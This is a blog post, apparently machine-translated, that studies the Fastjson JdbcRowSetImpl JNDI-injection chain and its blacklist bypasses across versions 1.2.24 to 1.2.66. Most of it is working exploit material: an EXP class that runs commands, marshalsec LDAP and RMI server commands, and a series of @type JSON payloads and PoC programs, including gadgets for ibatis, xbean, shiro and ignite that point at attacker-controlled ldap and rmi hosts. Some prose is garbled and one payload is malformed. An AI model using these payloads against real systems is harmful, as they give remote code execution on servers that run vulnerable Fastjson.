Fastjson JdbcRowSetImpl Using Chain Learning

Python WeChat Subscription Applet Course Video

https://blog.csdn.net/m0_56069948/article/details/122285951

Python Actual Quantitative Transaction Finance System

https://blog.csdn.net/m0_56069948/article/details/122285941

JdbcRowSetImpl

Continue to learn the second chain of fastjson, JdbcRowSetImpl, which is mainly an attack using jndi injection, with no limitations, and is based on the automatic invocation of setter, which can be referred to in the debugging section of the previous article.

1. Vulnerability Reproduction

1.1, Component Dependent Version

fastjson:1.2.22-1.2.24

1.2. Mode of utilization

Unlike the way TemplatesImpl chains need to be utilized, JdbcRowSetImpl chains only need to be able to control the input to be utilized.

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

Of course, there is a need for jdk version, because the higher version of jdk has limitations on jndi and rmi. It is also mentioned in the RMI section that it is posted here again for you to view later

RMI Utilized JDK Edition≤ JDK 6u132,7u122,8u113

LADP utilize JDK Edition≤ 6u211 ,7u201,8u191

Picture shows Aliyun application

1.3. Vulnerability Reproduction

Prepare malicious code

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}


Compile Malicious Code

javac EXP.java

Open http service

python3 -m http.server

Opening the jndi service with marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

Use JdbcRowSetImpl to construct poc, successful pop-up window

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}


Because fastjson automatically calls setter and getter, you can see

The part of the Poc debugging, so we can construct the POC at fastjson

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

We JSON.parse() try it

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}


1.4. Debugging by Chain

This time we will skip the use chain of fastjson directly, because we have been followed up in TemplateImpl in detail, and we will go directly to jdbcRowImpl to break the point in the setDataSourceName method. In fact, we can see from the call stack that the first half is the same as the TemplatesImpl chain, one is getOutputproperties, the other is DataSourceName.

Let's go ahead and see if DataSourceName is null or not, and we'll follow up

You can see that it's just a simple dataSource assignment, then setAutoCommit

Is to judge this. Whether conn is null or not, null calls this. The connect() method assignment, so let's follow up

Follow up to find that the lookup method is called by the Get Context, and the parameter is that we get the dataSource we assigned earlier

Then the code executes successfully

2. Vulnerability Bypass

The first two chains are both Fastjson versions 1.2.22-1.2.24, which are bypassed later.

2.1,Fastjson:1.2.25-1.2.41

Let's change the dependent version to 1.2.25 first. It's not good to perform poc discovery again. Error, autotype doesn't support it. Let's compare the two packages

We saw this code in TemplatesImpl, this.config is ParserConfig, ref is templatesImpl, he checked ref with checkAutoType, let's see how he checked, and we'll make a breakpoint here

Indeed, checkAutoType was used to check ref(TemplatesImpl) at 1.2.25, and we followed up to find that TypeUtils was being called. LoadClass, you need to enter if, but this.autoTypeSupport defaults to false, so it can't get in.

And flase is the default in version 1.2.25, so we need to put this in place. AutoTypeSupport is set to true,

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

And then to this. AcceptList because it is empty

And then there's the blacklist denyList. Let's see what it is and find out that we're com.sun packages are here and some other utilizing chain classes.

So what should we do? What can we do to get into TypeUtils? LoadClass (typeName, this.defaultClassLoader), the big guys follow up with TypeUtils.loadClass method, found bypass method, we follow up.

Follow-up shows that one @Type field begins with [', the other with';' At the end, he gets our className from the second character.

So we can construct a new payload if the AutoTypeSupport is true

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // Close whitelist must be displayed
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}


ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

2.2,Fastjson:1.2.42

We continue to modify fastjson version 1.2.42, continue to error autotype does not support, should be blacklist problem.

Our debugging point is still checkAutoType, so follow up

Come in and find a bunch of hash es, but throw them into our first red box and put the "L" and "; Removed.

And hash is encrypted on com.alibaba.fastjson.util.TypeUtils#fnv1a_64, we just need to collide a malicious class through hash to get the blacklist, item address: https://github.com/LeadroyaL/fastjson-blacklist

Because "L" and ";" have been removed once before. So if we can't get into it, we can bypass it with double writing.

Modify payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}


package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}


2.3,Fastjson:1.2.43

1.2.43 is to make a decision on "LL" on the original basis, is to throw an exception directly

But'['still works

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}


package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

 /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 try {
 jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
 jdbcRowSet.setAutoCommit(true);
 } catch (SQLException throwables) {
 throwables.printStackTrace();
 }*/


        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}


2.4,Fastjson:1.2.44

Restrict

2.5,Fastjson:1.2.45

Conditions require that mybatis jar packages exist on the target server side with version 3.x.x series <3.5.0 version.

<dependency>
  <groupId>org.apache.ibatisgroupId>
  <artifactId>ibatis-coreartifactId>
  <version>3.0version>
dependency>

rmi service used

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

poc

//Need third-party component ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"rmi://localhost:1099/Exploit"}}



package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data\_source\":\"rmi://localhost:1099/EXP\"}}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}


This is not the same way as before. Learn

@type specifies the JndiDataSourceFactory class, calls setProperties, and the principle remains that fastJson automatically calls the getter and setter methods. Let's follow up on setProperties to see

Here's lookup, the json string data_passed in Source, causing RCE

2.6, 1.2.25-1.2.47 assassination

No autotype and blacklist restrictions

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}


package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

    String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";


        JSON.parseObject(exp);
    }
}


We followed analytic learning at checkAutoType, because we first passed in @Type is java.lang.Class, also does not set autoTypeSupport to true, so it passes through TypeUtils.getClassFromMapping(typeName) to find, or from this.deserializers.findClass(typeName) Find.

At this. Java was found in deserializers. Lang.Class, and then clazz,

Let's go back to the parseObject method of the DefaultJSONParser layer above, and then we'll move on to the following

Get java. Deserialization Processing Class for lang.Class, com.alibaba.fastjson.serializer.MiscCodec, then deserializer.deserialze(), follow up

Enter MiscCodec.deserialze(), we go directly to the key parser.parse(), this method is used to get the val ue, so let's follow up

It's simply traversing to get the value of value and returning

Then assign to strVal

Then there's a bunch of if judgments, and you go to TypeUtils. LoadClass (strVal, parser.getConfig()). GetDefaultClassLoader(), passing strVal in

Following up, jdbcRowSetImpl is stored in the mapping, that is, in the mapping cache

Follow the program to check AutoType (), and follow up.

The jdbcRowImpl is queried in the mapping because we've already saved it, so clazz gets it, and then returns, so I go back one level

Going here, we get jdbcRowSetImpl successfully, and then we automatically set our own method, setDataSourceName, setautoCommit executes lookup, causing rce

2.7,Fastjson:1.2.48

There are two more blacklists, MiscCodec changes the default incoming cache to false, checkAutoType() adjusts the logic

2.8,Fastjson:1.2.62

  • AutoType needs to be turned on;
  • Fastjson <= 1.2.62;
  • JNDI injection takes advantage of the JDK version limitations imposed;
  • The xbean-reflect package needs to exist on the target server side.
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

2.9,Fastjson:1.2.66

// autotype true is required
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}


Reference Links
https://y4er.com/post/fastjson-learn/
https://blog.csdn.net/nice0e3/p/14776043.html

Tags: Python computer

Posted by azul85 on Fri, 15 Apr 2022 01:45:00 +0930